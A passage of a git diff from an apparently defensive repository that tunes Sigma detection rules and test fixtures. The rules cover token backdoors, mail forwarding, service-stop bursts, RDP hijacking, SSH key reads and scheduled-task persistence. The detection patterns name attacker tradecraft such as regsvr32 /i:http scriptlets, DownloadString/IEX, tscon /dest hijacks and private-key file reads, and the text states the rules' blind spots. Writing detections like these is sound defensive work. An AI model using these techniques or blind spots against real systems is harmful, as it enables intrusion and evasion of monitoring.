https://github.com/dotgibson/htpx/blob/main/entries/blue/gl-token-audit.md author: dotfiles-Defense date: 2026-07-02 -modified: 2026-09-02 +modified: 2026-10-14 tags: - attack.persistence - attack.t1098 @@ -37,8 +42,22 @@ detection: - 'personal_access_token_created' - 'deploy_token_created' - 'group_deploy_token_created' - condition: selection + filter_ci: + # DEPLOY-REQUIRED: replace with the actor your automation mints tokens as. The GitLab + # Terraform provider's token resources create one on every apply that rotates it, so + # without this each pipeline run alerts and the rule gets muted. The actor is the + # top-level author_name of GitLab's streamed audit event. author_name is a DISPLAY name + # and mutable - an actor who renames their account to match the bot is suppressed - so + # author_id (the integer user id, immutable) is the stricter form; write it UNQUOTED if + # you switch, a quoted integer trips the number_as_string lint. Until filled this + # excludes only the example actor. + # Run detections/sigma/deploy-required.sh to find this. + author_name: + - 'ci-bot' # example — replace with your automation account (or key on author_id) + condition: selection and not filter_ci falsepositives: + - Routine token rotation from the IaC pipeline - allowlist the automation actor in + filter_ci; what remains is a token minted by a human or an unknown integration. - Onboarding a sanctioned CI integration or deploy automation - allowlist the expected actors and review tokens created outside change windows or with broad scopes. level: medium diff --git a/detections/sigma/google_workspace/gws_external_mail_forwarding.yml b/detections/sigma/google_workspace/gws_external_mail_forwarding.yml index dbb26757..52878abb 100644 --- a/detections/sigma/google_workspace/gws_external_mail_forwarding.yml +++ b/detections/sigma/google_workspace/gws_external_mail_forwarding.yml @@ -13,11 +13,18 @@ description: | references: - https://attack.mitre.org/techniques/T1114/003/ - https://github.com/dotgibson/htpx/blob/main/entries/blue/gws-mail-forward-audit.md + - https://developers.google.com/workspace/admin/reports/v1/appendix/activity/user-accounts author: dotfiles-Defense date: 2026-07-02 +modified: 2026-10-14 tags: - attack.collection - attack.t1114.003 +# Verified 2026-10-14 against the Reports API appendix: email_forwarding_out_of_domain is +# listed under BOTH the user_accounts and the login application, and exporter samples carry +# applicationName=user_accounts, which is what is declared here. If your tenant's export +# files it under login, remap the service at the backend - the selection is on eventName +# and does not change. logsource: product: google_workspace service: user_accounts diff --git a/detections/sigma/impact/account_access_removal_4725.yml b/detections/sigma/impact/account_access_removal_4725.yml index 6efa20c2..b4287650 100644 --- a/detections/sigma/impact/account_access_removal_4725.yml +++ b/detections/sigma/impact/account_access_removal_4725.yml @@ -69,6 +69,13 @@ description: | becomes near-zero-FP, because the accounts that legitimately do this in bulk are a short, knowable list. Best paired with a standing alert on ANY change to break-glass accounts, which no threshold should ever suppress. + 4724 is pooled with 4725/4726 on purpose, and because the pooling has been questioned the + reason is written down: resetting a responder's password locks them out as surely as + disabling the account, and an actor walking a list does whichever is quicker. The one + benign shape that trips the pool - an org-wide forced reset after a credential exposure - + comes from the identity-admin principals filter_identity_admins exists to name. A + lower-priority 4724 arm would quieten that shape only by hiding the attacker who resets + rather than disables, which is the wrong half to lose. Validate (purple): run the defender lock-out fold from dotfiles-Offense (htpx pair account-lockout-defenders). Requires the Audit User Account Management subcategory. references: diff --git a/detections/sigma/impact/service_stop_burst.yml b/detections/sigma/impact/service_stop_burst.yml index 180d063a..1e361494 100644 --- a/detections/sigma/impact/service_stop_burst.yml +++ b/detections/sigma/impact/service_stop_burst.yml @@ -16,7 +16,7 @@ references: - https://attack.mitre.org/techniques/T1489/ author: dotfiles-Defense date: 2026-08-05 -modified: 2026-09-23 +modified: 2026-10-14 name: service_stop_command tags: - attack.impact @@ -26,14 +26,19 @@ logsource: product: windows detection: selection_net_stop: + # Trailing space, the same anchor service_stop_protected_services uses: a stop that + # tears something down names the service after the verb. A bare ' stop' also matched + # ' stopped' and ' stop-' anywhere on the line, and because this base feeds a + # distinct-CommandLine count, each such line padded the burst toward threshold rather + # than alerting once. Image|endswith: - '\net.exe' - '\net1.exe' - CommandLine|contains: ' stop' + CommandLine|contains: ' stop ' selection_sc_stop: Image|endswith: '\sc.exe' CommandLine|contains: - - ' stop' + - ' stop ' - 'start= disabled' # the durable half of the same action - 'start=disabled' selection_taskkill: @@ -43,6 +48,11 @@ detection: # `taskkill /f /im `, where /f is followed by the next argument. CommandLine|contains: '/f ' selection_powershell_stop: + # Deliberately NOT anchored to a verb+target shape, unlike the net/sc arms above: + # `Get-Service -Name 'veeam*' | Stop-Service -Force` and a piped `| Stop-Service` at + # the end of a line carry no trailing target, and those are real teardown shapes. A + # lone `Stop-Process -Id $PID` in a script counts once in the distinct-CommandLine + # burst below, which is what keeps the bare cmdlet from padding the count. Image|endswith: - '\powershell.exe' - '\pwsh.exe' diff --git a/detections/sigma/lateral_movement/passthehash_4624_fanout.yml b/detections/sigma/lateral_movement/passthehash_4624_fanout.yml index a781689d..f219b190 100644 --- a/detections/sigma/lateral_movement/passthehash_4624_fanout.yml +++ b/detections/sigma/lateral_movement/passthehash_4624_fanout.yml @@ -9,13 +9,20 @@ description: | short window, expressed by the correlation rule. Loopback and empty source addresses are filtered here so the count reflects real remote reuse, not local service logons. + Blind spot, stated rather than left to be discovered: filter_machine drops every + TargetUserName ending in $, so reuse of a CAPTURED machine-account hash - HOST$ replayed + from another host, and the RBCD and silver-ticket chains that start from it - never + reaches the count below. It is a coverage decision, not only a noise filter. Narrowing + it to source-side machine accounts needs TargetUserName compared against the host behind + IpAddress, a field-to-field test Sigma cannot express; if you need it, do it at the + backend and keep this filter for the boot-time fan-out it exists for. references: - https://attack.mitre.org/techniques/T1550/002/ - https://attack.mitre.org/techniques/T1021/ - https://github.com/dotgibson/htpx/blob/main/entries/blue/lateral-4624-fanout.md author: dotfiles-Defense date: 2026-07-15 -modified: 2026-09-28 +modified: 2026-10-14 name: network_logon_4624 tags: - attack.lateral-movement diff --git a/detections/sigma/lateral_movement/rdp_hijack_tscon_4688.yml b/detections/sigma/lateral_movement/rdp_hijack_tscon_4688.yml index 87a5caae..085c6bfe 100644 --- a/detections/sigma/lateral_movement/rdp_hijack_tscon_4688.yml +++ b/detections/sigma/lateral_movement/rdp_hijack_tscon_4688.yml @@ -4,10 +4,23 @@ status: test description: | Detects the command-line path of RDP session hijacking: a process creation carrying a "tscon ... /dest:rdp-tcp#" command line. Low false-positive on what it covers - admins - almost never tscon to another session's RDP endpoint by hand - and it covers both the - direct invocation and the SYSTEM-via-service variant, because "sc create ... binpath= - ...tscon.../dest:rdp-tcp#..." embeds that same string in sc.exe's own command line and - matches on it. + almost never tscon to another session's RDP endpoint by hand. + Two arms, and which channel each one sees, written down because the #351 review read + them the other way round: + - `selection` is the /dest:rdp-tcp# string on ANY image, and that is deliberate. The + SYSTEM-via-service variant runs "sc create ... binpath= ...tscon.../dest:rdp-tcp#" + and embeds the string in sc.exe's own command line; a `cmd /c` wrapper embeds it in + cmd.exe's. An Image allowlist would have to enumerate every wrapper and each + omission is a blind spot, while the string itself is the discriminator - nothing + legitimate carries it, and an attacker who plants it to trip the alert has tripped + the alert. This arm reads CommandLine only, which native 4688 and Sysmon 1 both + carry, so the sc-create variant is covered on BOTH channels. + - `tscon_image and as_system` is the no-/dest interactive hijack (`psexec -s cmd`, + then `tscon 3`) and is Sysmon-1 only; its comment gives the 4688 substitution. + mstsc /shadow is session shadowing - viewing or controlling a live session, consent-gated + unless policy removes the prompt - and runs neither tscon nor any /dest argument. It is a + different technique with its own events in the TerminalServices-RemoteConnectionManager + log, out of scope here and stated rather than implied. Blind spot, stated rather than left to be discovered: tscon.exe is a thin wrapper over the Wtsapi32 WTSConnectSession / WTSDisconnectSession API, and a hijack that calls the API directly runs neither tscon.exe nor any "/dest:rdp-tcp#" argument, so this rule does @@ -28,7 +41,7 @@ references: - https://github.com/bohops/SharpRDPHijack author: dotfiles-Defense date: 2026-06-30 -modified: 2026-09-28 +modified: 2026-10-14 tags: - attack.lateral-movement - attack.t1563.002 diff --git a/detections/sigma/linux/ssh_private_key_read.yml b/detections/sigma/linux/ssh_private_key_read.yml index 63835c34..389747a8 100644 --- a/detections/sigma/linux/ssh_private_key_read.yml +++ b/detections/sigma/linux/ssh_private_key_read.yml @@ -15,6 +15,11 @@ description: | this rule once you have a baseline for how many key reads are normal on your hosts. The correlation is deliberately not shipped here: its threshold is a property of your estate, not of the rule. + The legacy SSHv1 key is always exactly ~/.ssh/identity, so it is matched as + '/.ssh/identity'. The bare '/identity' it replaced matched every read under a directory + whose name begins with identity - ~/identity-service/config.yml, ~/.config/identity/... - + a standing false-positive stream on a high rule with no key theft behind it. A key + named identity outside .ssh/ is now out of scope, and that is the right trade. Requires an auditd read watch that sets the key (load with `augenrules --load`): -w /home -p r -k ssh_key_read -w /root/.ssh/ -p r -k ssh_key_read @@ -30,7 +35,7 @@ references: - https://github.com/dotgibson/htpx/blob/main/entries/blue/ssh-key-theft-auditd.md author: dotfiles-Defense date: 2026-08-26 -modified: 2026-09-28 +modified: 2026-10-14 tags: - attack.credential-access - attack.t1552.004 @@ -45,7 +50,7 @@ detection: - '/id_ecdsa' - '/id_ed25519' - '/id_dsa' - - '/identity' + - '/.ssh/identity' filter_ssh_stack: # DEPLOY-REQUIRED: extend with the agents in YOUR estate that legitimately read # private keys - backup and endpoint agents are the usual additions, and a diff --git a/detections/sigma/persistence/scheduled_task_suspicious_4698.yml b/detections/sigma/persistence/scheduled_task_suspicious_4698.yml index 7dace653..bb0bf6d8 100644 --- a/detections/sigma/persistence/scheduled_task_suspicious_4698.yml +++ b/detections/sigma/persistence/scheduled_task_suspicious_4698.yml @@ -3,7 +3,8 @@ id: 8ae44ad2-6331-4444-97f4-b2eac893717c status: experimental description: | Detects scheduled-task persistence: a 4698 task-created event whose task XML runs - encoded/hidden PowerShell or a LOLBin (mshta/regsvr32/rundll32). Detect on the action, + encoded/hidden PowerShell, mshta, or regsvr32/rundll32 pointed at something an attacker + controls. Detect on the action, not the task name; 4702 catches the modify-an-existing-task variant. Baseline your software's legit tasks and alert on the rest. Scoped to the interpreter/LOLBin shapes on purpose: bare '\Users\' and '\Temp\' @@ -13,6 +14,14 @@ description: | common turns a high-severity rule into a mute button. If you want drop-directory coverage, add it as a separate lower-confidence rule gated on a task-name or signed-binary allowlist rather than folding it back into this OR. + regsvr32 and rundll32 are gated for the same reason, as of the #351 review: OEM and + vendor installers register rundll32 actions against System32 DLLs at volume, so the bare + binary name fired at high on a display-calibration task. The LOLBin arm now requires a + co-occurring attacker-controlled target - a URL or scriptlet (/i:http, javascript:), a + UNC path, or a user-writable directory. \Users\ and \Temp\ return ONLY inside that AND + and stay out of the bare OR for the reason above. mshta stays bare: a scheduled task + whose action is mshta has no benign shape worth the exception. Neither LOLBin had a + fixture before this change, so the bare arms had never been shown to fire. The interpreter tokens are anchored for the same reason the path matches were dropped. A bare 'IEX' is a 3-character case-insensitive substring against the whole task XML, so it matches iexplore.exe and any author/product string containing "iex"; it is written @@ -34,7 +43,7 @@ references: - https://github.com/dotgibson/htpx/blob/main/entries/blue/schtask-4698.md author: dotfiles-Defense date: 2026-06-30 -modified: 2026-09-29 +modified: 2026-10-14 tags: - attack.persistence - attack.execution @@ -54,12 +63,46 @@ detection: - 'FromBase64String' # Path-less, so `mshta` matches as well as `\mshta.exe`. - 'mshta' - - '\regsvr32.exe' - - '\rundll32.exe' - 'DownloadString' - 'IEX(' - 'IEX ' - '| IEX' + lolbin: + # The bare binary is not the signal - see the description. Path-less forms too: + # `rundll32` is how schtasks writes a bare name. + TaskContent|contains: + - '\regsvr32.exe' + - '\rundll32.exe' + - 'regsvr32' + - 'rundll32' + lolbin_suspicious_arg: + # ANDed with lolbin: a URL or scriptlet (regsvr32 /i:http, rundll32 url.dll), a UNC + # path, or a user-writable directory. \Users\ and \Temp\ come back here ONLY inside + # this AND - as bare matches they were removed for the reason the description gives, + # and they must not be lifted back into `suspicious`. + # `http` is ANCHORED: every real 4698 TaskContent opens with + # , so a bare + # 'http' is true on every event and would collapse this AND back to the bare LOLBin. + # The synthetic fixtures omit that root element, so no gate would have caught it; the + # TN fixture now carries the root on purpose. Quotes inside arrive + # entity-escaped, hence the " / ' forms. + # A UNC prefix is '\\\\': backslash is Sigma's escape character, so '\\' is ONE + # literal backslash and would match every Windows path. + TaskContent|contains: + - '>http' + - ' http' + - '"http' + - ''http' + - '\\\\' + - 'javascript:' + - 'vbscript:' + - '/i:' + - '\Users\' + - '\Temp\' + - '\ProgramData\' + - '%APPDATA%' + - '%TEMP%' + - '%PUBLIC%' powershell_task: TaskContent|contains: - 'powershell' @@ -108,7 +151,7 @@ detection: - '/C ' - '\Temp\' - '.tmp 2>&1' - condition: selection and (suspicious or (powershell_task and 1 of powershell_*_flags) or impacket_atexec) + condition: selection and (suspicious or (lolbin and lolbin_suspicious_arg) or (powershell_task and 1 of powershell_*_flags) or impacket_atexec) falsepositives: - Software installers that register tasks invoking helper scripts (allowlist). - A PowerShell task passing its own script a long `-e` value that looks like base64 (for diff --git a/detections/sigma/registry/harbor_image_pushed_trusted_tag.yml b/detections/sigma/registry/harbor_image_pushed_trusted_tag.yml index c37267e2..92209266 100644 --- a/detections/sigma/registry/harbor_image_pushed_trusted_tag.yml +++ b/detections/sigma/registry/harbor_image_pushed_trusted_tag.yml @@ -1,4 +1,4 @@ -title: Harbor image push (backdoored image / trusted-tag poisoning) +title: Harbor artifact push or tag create (supply-chain triage surface) id: 3afe0d4d-b997-4a87-821d-83328a205dd2 status: experimental description: | @@ -14,6 +14,11 @@ description: | push outside the CI service account / build window. Compare the new digest to the last known-good and enforce image signing (cosign / content trust) so an unsigned overwrite is blocked, not just logged. + The filename keeps the threat this exists for; the title says what the logic does: every + artifact push and tag create minus the CI robot in filter_ci. A protected-repo or + tag-pattern selector would sharpen it, but a selection-side list is INERT until filled - + the opposite failure from a noisy filter, and one this repo does not ship. Add that + discriminator at the backend, where your protected repos are known. Validate (purple): push over a trusted tag from dotfiles-Offense (htpx pair harbor-image-backdoor). references: @@ -21,7 +26,7 @@ references: - https://github.com/dotgibson/htpx/blob/main/entries/blue/harbor-image-push-audit.md author: dotfiles-Defense date: 2026-07-02 -modified: 2026-09-27 +modified: 2026-10-14 tags: - attack.persistence - attack.t1525 diff --git a/detections/sigma/terraform/tfc_token_backdoor.yml b/detections/sigma/terraform/tfc_token_backdoor.yml index 6d7cc432..11c93c22 100644 --- a/detections/sigma/terraform/tfc_token_backdoor.yml +++ b/detections/sigma/terraform/tfc_token_backdoor.yml @@ -9,6 +9,9 @@ description: | so one minted by an unexpected actor is a persistence tell after a control-plane compromise (T1098). Reconcile new tokens against known CI integrations and prefer short-lived team tokens scoped to a workspace. + Shipped bare until the #351 review while tfc_variable_injection carried a filter_ci: the + tfe_team_token and tfe_organization_token resources mint a token on every apply that + rotates one, so the pipeline actor is excluded below the same way. Validate (purple): mint an org/team token via the TFC API from dotfiles-Offense (htpx pair tfc-token-backdoor). references: @@ -16,6 +19,7 @@ references: - https://github.com/dotgibson/htpx/blob/main/entries/blue/tfc-token-audit.md author: dotfiles-Defense date: 2026-07-02 +modified: 2026-10-14 tags: - attack.persistence - attack.t1098 @@ -26,8 +30,19 @@ detection: selection: resource.type: 'authentication_token' resource.action: 'create' - condition: selection + filter_ci: + # DEPLOY-REQUIRED: replace with the actor your pipeline mints tokens as, as it appears + # in the TFC audit trail's auth.description. The tfe_team_token / tfe_organization_token + # resources create a token on every apply that rotates one, so without this each + # pipeline run alerts and the rule gets muted - the same stub tfc_variable_injection + # carries. Until filled this excludes only the example actor. + # Run detections/sigma/deploy-required.sh to find this. + auth.description: + - 'ci-deploy@example.com' # example — replace with your CI service identity + condition: selection and not filter_ci falsepositives: + - Routine token rotation from the IaC pipeline - allowlist the CI actor in filter_ci; + what remains is a token minted by a human or an unknown integration. - Onboarding a sanctioned CI integration - allowlist the expected actors and review org tokens created where a scoped team token would do, or any created during an incident. level: medium diff --git a/docker/validation/fixture-provenance.tsv b/docker/validation/fixture-provenance.tsv index d277aadf..08b584d9 100644 --- a/docker/validation/fixture-provenance.tsv +++ b/docker/validation/fixture-provenance.tsv @@ -51,6 +51,7 @@ docker/validation/sigma-fixtures/cloud/aws_s3_bulk_exfil_tp.jsonl unverified - docker/validation/sigma-fixtures/cloud/aws_snapshot_share_external_tn.jsonl unverified - docker/validation/sigma-fixtures/cloud/aws_snapshot_share_external_tp.jsonl unverified - docker/validation/sigma-fixtures/cloud/cloudflare_api_token_created_tn.jsonl unverified - +docker/validation/sigma-fixtures/cloud/cloudflare_api_token_created_ci_tn.jsonl unverified actor.email copied from the sibling cloudflare_waf_rule_disabled_ci_tn fixture (#351); not confirmed against a Cloudflare audit export docker/validation/sigma-fixtures/cloud/cloudflare_api_token_created_tp.jsonl unverified - docker/validation/sigma-fixtures/cloud/cloudflare_waf_rule_disabled_tn.jsonl unverified - docker/validation/sigma-fixtures/cloud/cloudflare_waf_rule_disabled_tp.jsonl unverified - @@ -78,6 +79,7 @@ docker/validation/sigma-fixtures/cloud/gitlab_protected_branch_tamper_tp.jsonl u docker/validation/sigma-fixtures/cloud/gitlab_rogue_runner_associated_tn.jsonl unverified - docker/validation/sigma-fixtures/cloud/gitlab_rogue_runner_associated_tp.jsonl unverified - docker/validation/sigma-fixtures/cloud/gitlab_token_backdoor_tn.jsonl unverified - +docker/validation/sigma-fixtures/cloud/gitlab_token_backdoor_ci_tn.jsonl unverified top-level author_name taken from GitLab's documented streaming audit-event payload (#351); not confirmed against an export docker/validation/sigma-fixtures/cloud/gitlab_token_backdoor_tp.jsonl unverified - docker/validation/sigma-fixtures/cloud_gws_admin_role_grant.jsonl unverified event-name VALUES confirmed against Google's Admin SDK Reports appendix (admin-user-settings: GRANT_ADMIN_PRIVILEGE "Admin privileges granted to {USER_EMAIL}", GRANT_DELEGATED_ADMIN_PRIVILEGES "{USER_EMAIL} assigned {NEW_VALUE} admin privileges"). Still unverified because the eventName KEY is a collector normalization - the Reports API nests it as events[].name docker/validation/sigma-fixtures/cloud_gws_external_mail_forwarding.jsonl unverified - @@ -124,6 +126,7 @@ docker/validation/sigma-fixtures/cloud/snowflake_user_created_tp.jsonl unverifie docker/validation/sigma-fixtures/cloud/tfc_rogue_agent_pool_tn.jsonl unverified - docker/validation/sigma-fixtures/cloud/tfc_rogue_agent_pool_tp.jsonl unverified - docker/validation/sigma-fixtures/cloud/tfc_token_backdoor_tn.jsonl unverified - +docker/validation/sigma-fixtures/cloud/tfc_token_backdoor_ci_tn.jsonl unverified auth.description copied from the sibling tfc_variable_injection_ci_tn fixture (#351); not confirmed against a TFC audit-trail export docker/validation/sigma-fixtures/cloud/tfc_token_backdoor_tp.jsonl unverified - docker/validation/sigma-fixtures/cloud/tfc_variable_injection_tn.jsonl unverified - docker/validation/sigma-fixtures/cloud/tfc_variable_injection_tp.jsonl unverified - @@ -202,7 +205,7 @@ docker/validation/sigma-fixtures/recovery_inhibition_4688.jsonl unverified one e docker/validation/sigma-fixtures/recovery_inhibition_4688_tn.jsonl unverified same EventData key set: read-only near-misses on the same binaries (vssadmin list shadows, wbadmin get versions, a Win32_ShadowCopy listing) that must stay silent. Synthetic docker/validation/sigma-fixtures/rogue_account_4720.jsonl unverified - docker/validation/sigma-fixtures/rogue_account_4720_tn.jsonl unverified - -docker/validation/sigma-fixtures/scheduled_task_4698.jsonl unverified - +docker/validation/sigma-fixtures/scheduled_task_4698.jsonl unverified synthetic XML fragments without the root. adds (#351) the first rundll32 / regsvr32 true positives: rundll32 of a DLL under \Users\Public, regsvr32 /i:http scriptlet, rundll32 of a DLL on a UNC path - the bare binary names had never been shown to fire docker/validation/sigma-fixtures/service_psexec_7045.jsonl unverified one event per psexec shape (smbexec, Sysinternals, impacket-psexec). An earlier revision paired ServiceName PSEXESVC with a %COMSPEC% ImagePath, a combination no real PsExec produces. shapes from tool source: impacket examples/serviceinstall.py (4-letter random service name, 8-letter random .exe at %systemroot%\ via ADMIN$) and examples/smbexec.py (8-letter random service name, '%COMSPEC% /Q /c' command); Sysinternals PsExec's default PSEXESVC / %SystemRoot%\PSEXESVC.exe. Event 7045 field names as the other System-channel fixtures. Synthetic docker/validation/sigma-fixtures/service_psexec_7045_tn.jsonl unverified same EventData key set: an 8-letter binary in %systemroot% behind a normal-length service name (proves the impacket branch needs BOTH the path and the 4-letter name), and a Program Files service. shapes from tool source: impacket examples/serviceinstall.py (4-letter random service name, 8-letter random .exe at %systemroot%\ via ADMIN$) and examples/smbexec.py (8-letter random service name, '%COMSPEC% /Q /c' command); Sysinternals PsExec's default PSEXESVC / %SystemRoot%\PSEXESVC.exe. Event 7045 field names as the other System-channel fixtures. Synthetic docker/validation/sigma-fixtures/service_stop_burst_4688.jsonl unverified - @@ -246,7 +249,7 @@ docker/validation/sigma-fixtures/linux_systemd_persist_runtime_tn.jsonl unverifi docker/validation/sigma-fixtures/linux_ssh_authkeys.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export docker/validation/sigma-fixtures/linux_ssh_authkeys_tn.jsonl unverified the allowlisted example key-distribution agent (compiled, exact exe path) writing a user's authorized_keys; replaces a cloud-init line whose exe=/usr/bin/cloud-init auditd never records (cloud-init is Python) docker/validation/sigma-fixtures/linux_ssh_key_read.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export. adds a private-key reader renamed to git (comm git, exe /tmp/git) - suppressed by the old comm allowlist -docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export. adds a public-key read (cat id_ed25519.pub), which the old name|contains matched +docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export. adds a public-key read (cat id_ed25519.pub), which the old name|contains matched. adds (#351) a tar read of ~/identity-service/config.yml, which the bare '/identity' match caught docker/validation/sigma-fixtures/linux_sudo_root_shell.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export docker/validation/sigma-fixtures/linux_sudo_root_shell_tn.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export docker/validation/sigma-fixtures/linux_suid_change.jsonl unverified auditd field names (key/comm/exe/name/auid) taken from the SPL in the paired htpx blue entry, not from a captured auditd export. adds two evasions the old basename allowlist suppressed: `install -m 4755` (exe /usr/bin/install) and a chmod copied to /tmp/dpkg @@ -287,7 +290,7 @@ docker/validation/sigma-fixtures/kerberoast_spn_burst_4769_window_tn.jsonl vendo docker/validation/sigma-fixtures/dpapi_backupkey_secret_read_4662.jsonl vendor-documented 4662 on the LSA SecretObject, AccessMask 0x2, ObjectName Policy\Secrets\G$BCKUPKEY_*: shape from SigmaHQ 4ac1f50b and the OTRF Threat Hunter Playbook capture it was built on; secret names from SharpDPAPI lib/Backup.cs docker/validation/sigma-fixtures/dpapi_backupkey_secret_read_4662_system.jsonl unverified the backup-key secret read with SYSTEM (S-1-5-18) as the subject: local extraction on the DC from a SYSTEM context (psexec to the DC, then mimikatz lsadump::backupkeys or SharpDPAPI backupkey). Subject SID reasoned from how LSA audits the caller's token, not lab-captured docker/validation/sigma-fixtures/dpapi_backupkey_secret_read_4662_tn.jsonl vendor-documented near-miss: the same SecretObject read of the machine-account secret ($MACHINE.ACC) by the DC itself -docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl unverified near-miss: a PowerShell maintenance task with -ExecutionPolicy Bypass -File, which none of the short-flag, keyword or atexec shapes match; plus PowerShell tasks passing -Encoding utf8, robocopy /E, and an https://.../encryption/ URL, which the open-ended -enco, /e and /enc entries used to match; and a deploy script called with its own -e production argument, which a bare -e flag without a base64 payload would match; and a cmd task running robocopy /E %OPTS% before a PowerShell script, which a variable arm open to the / switch would match; and a PowerShell task whose Description is a 10,000-character run of quotes with no flag, which must stay silent (and fast) +docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl unverified near-miss: a PowerShell maintenance task with -ExecutionPolicy Bypass -File, which none of the short-flag, keyword or atexec shapes match; plus PowerShell tasks passing -Encoding utf8, robocopy /E, and an https://.../encryption/ URL, which the open-ended -enco, /e and /enc entries used to match; and a deploy script called with its own -e production argument, which a bare -e flag without a base64 payload would match; and a cmd task running robocopy /E %OPTS% before a PowerShell script, which a variable arm open to the / switch would match; and a PowerShell task whose Description is a 10,000-character run of quotes with no flag, which must stay silent (and fast); and (#351) a rundll32 display-calibration task and a regsvr32 /s of a Program Files DLL, both carrying the real root, which the bare LOLBin names used to match and which pins the bare-'http' collapse docker/validation/sigma-fixtures/rdp_hijack_4688_tn.jsonl unverified near-miss: a user running tscon for their own session from explorer, not as SYSTEM docker/validation/sigma-fixtures/service_windows_root_7045.jsonl vendor-documented service binaries directly in %SystemRoot%: Sysinternals psexec -r (installs %SystemRoot%\.exe) and impacket psexec.py -service-name/-remote-binary-name; 7045 envelope matches service_psexec_7045.jsonl docker/validation/sigma-fixtures/service_windows_root_7045_tn.jsonl unverified the allowlisted example vendor binary at %systemroot%\vupdater.exe, and an ordinary svchost service under System32 diff --git a/docker/validation/sigma-cloud-manifest.tsv b/docker/validation/sigma-cloud-manifest.tsv index 665e6a1e..80c5220c 100644 --- a/docker/validation/sigma-cloud-manifest.tsv +++ b/docker/validation/sigma-cloud-manifest.tsv @@ -20,6 +20,7 @@ cloud_gcp_audit_log_sink_deleted detections/sigma/cloud/gcp_audit_log_sink_delet cloud_gcp_iam_policy_backdoor detections/sigma/cloud/gcp_iam_policy_backdoor.yml docker/validation/sigma-fixtures/cloud/gcp_iam_policy_backdoor_tp.jsonl docker/validation/sigma-fixtures/cloud/gcp_iam_policy_backdoor_tn.jsonl 1c2ad5ef-c5fb-4e62-9e56-58ff553e6b7b cloud_gws_illicit_oauth_grant detections/sigma/google_workspace/gws_illicit_oauth_grant.yml docker/validation/sigma-fixtures/cloud/gws_illicit_oauth_grant_tp.jsonl docker/validation/sigma-fixtures/cloud/gws_illicit_oauth_grant_tn.jsonl ee3ba747-0017-46fe-83a8-1918fbbc3241 cloud_cloudflare_api_token_created detections/sigma/cloudflare/cloudflare_api_token_created.yml docker/validation/sigma-fixtures/cloud/cloudflare_api_token_created_tp.jsonl docker/validation/sigma-fixtures/cloud/cloudflare_api_token_created_tn.jsonl c5afb416-8ef6-4ce7-8622-fefb6d9bf508 +cloud_cloudflare_api_token_created_ci_suppressed detections/sigma/cloudflare/cloudflare_api_token_created.yml docker/validation/sigma-fixtures/cloud/cloudflare_api_token_created_tp.jsonl docker/validation/sigma-fixtures/cloud/cloudflare_api_token_created_ci_tn.jsonl c5afb416-8ef6-4ce7-8622-fefb6d9bf508 cloud_cloudflare_waf_rule_disabled detections/sigma/cloudflare/cloudflare_waf_rule_disabled.yml docker/validation/sigma-fixtures/cloud/cloudflare_waf_rule_disabled_tp.jsonl docker/validation/sigma-fixtures/cloud/cloudflare_waf_rule_disabled_tn.jsonl 13b980a3-037f-47c7-bb66-772455159283 cloud_cloudflare_waf_rule_disabled_ci_suppressed detections/sigma/cloudflare/cloudflare_waf_rule_disabled.yml docker/validation/sigma-fixtures/cloud/cloudflare_waf_rule_disabled_tp.jsonl docker/validation/sigma-fixtures/cloud/cloudflare_waf_rule_disabled_ci_tn.jsonl 13b980a3-037f-47c7-bb66-772455159283 cloud_cloudflare_worker_deployed detections/sigma/cloudflare/cloudflare_worker_deployed.yml docker/validation/sigma-fixtures/cloud/cloudflare_worker_deployed_tp.jsonl docker/validation/sigma-fixtures/cloud/cloudflare_worker_deployed_tn.jsonl 8e5d901a-61d7-4b11-bb7f-51102447c040 @@ -27,6 +28,7 @@ cloud_cloudflare_worker_deployed_ci_suppressed detections/sigma/cloudflare/cloud cloud_gitlab_protected_branch_tamper detections/sigma/gitlab/gitlab_protected_branch_tamper.yml docker/validation/sigma-fixtures/cloud/gitlab_protected_branch_tamper_tp.jsonl docker/validation/sigma-fixtures/cloud/gitlab_protected_branch_tamper_tn.jsonl 029e5b7d-7355-4d56-969b-d18f6726f913 cloud_gitlab_rogue_runner_associated detections/sigma/gitlab/gitlab_rogue_runner_associated.yml docker/validation/sigma-fixtures/cloud/gitlab_rogue_runner_associated_tp.jsonl docker/validation/sigma-fixtures/cloud/gitlab_rogue_runner_associated_tn.jsonl 7bcc1182-7e54-4f1f-81a3-8f8b6853a153 cloud_gitlab_token_backdoor detections/sigma/gitlab/gitlab_token_backdoor.yml docker/validation/sigma-fixtures/cloud/gitlab_token_backdoor_tp.jsonl docker/validation/sigma-fixtures/cloud/gitlab_token_backdoor_tn.jsonl 60edbefc-83ba-4d29-ba93-1e1890392764 +cloud_gitlab_token_backdoor_ci_suppressed detections/sigma/gitlab/gitlab_token_backdoor.yml docker/validation/sigma-fixtures/cloud/gitlab_token_backdoor_tp.jsonl docker/validation/sigma-fixtures/cloud/gitlab_token_backdoor_ci_tn.jsonl 60edbefc-83ba-4d29-ba93-1e1890392764 cloud_k8s_clusteradmin_binding detections/sigma/kubernetes/k8s_clusteradmin_binding.yml docker/validation/sigma-fixtures/cloud/k8s_clusteradmin_binding_tp.jsonl docker/validation/sigma-fixtures/cloud/k8s_clusteradmin_binding_tn.jsonl 26b4b6b8-2959-43c3-a7d1-e4f2239e397a cloud_k8s_pod_exec_attach detections/sigma/kubernetes/k8s_pod_exec_attach.yml docker/validation/sigma-fixtures/cloud/k8s_pod_exec_attach_tp.jsonl docker/validation/sigma-fixtures/cloud/k8s_pod_exec_attach_tn.jsonl 58f7fc78-5340-4f02-9596-da4514108b67 cloud_k8s_privileged_pod_created detections/sigma/kubernetes/k8s_privileged_pod_created.yml docker/validation/sigma-fixtures/cloud/k8s_privileged_pod_created_tp.jsonl docker/validation/sigma-fixtures/cloud/k8s_privileged_pod_created_tn.jsonl 6a238c53-75db-45a7-8896-b6573b4ef9e0 @@ -46,6 